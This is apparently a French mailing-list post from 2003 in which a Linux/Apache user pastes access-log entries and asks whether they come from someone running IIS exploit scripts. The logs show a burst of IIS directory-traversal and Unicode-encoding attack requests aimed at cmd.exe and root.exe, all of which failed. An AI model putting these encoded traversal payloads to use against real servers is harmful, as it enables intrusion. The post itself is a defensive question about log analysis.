Bonsoir,
Juste une petite question... Des logs de ce type c'est bien un abrutit
qui essaye des scripts de failles sur IIS non ? Le type ne serait pas
capable de reconnaitre un apache sous linux d'un IIS sous win ? Enfin à
votre appréciation si quelqu'un peux décripter ça. Il me semble qu'il
s'agit d'exploit pour IIS.
LtSich
81.48.136.153 - - [22/Dec/2003:21:24:54 +0100] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 332 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:54 +0100] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 330 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:56 +0100] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 340 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:56 +0100] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 340 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:56 +0100] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 354 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:57 +0100] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 371 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:57 +0100] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 371 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:57 +0100] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 387 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:24:59 +0100] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 353 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:02 +0100] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 353 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:03 +0100] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 353 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:03 +0100] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 353 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:03 +0100] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 344 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:08 +0100] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 344 "-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:09 +0100] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 354
"-" "-"
81.48.136.153 - - [22/Dec/2003:21:25:09 +0100] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 354 "-" "-"
Vous souhaitez acquerir votre Pack ou des Services MandrakeSoft?
Rendez-vous sur "http://www.mandrakestore.com";
|
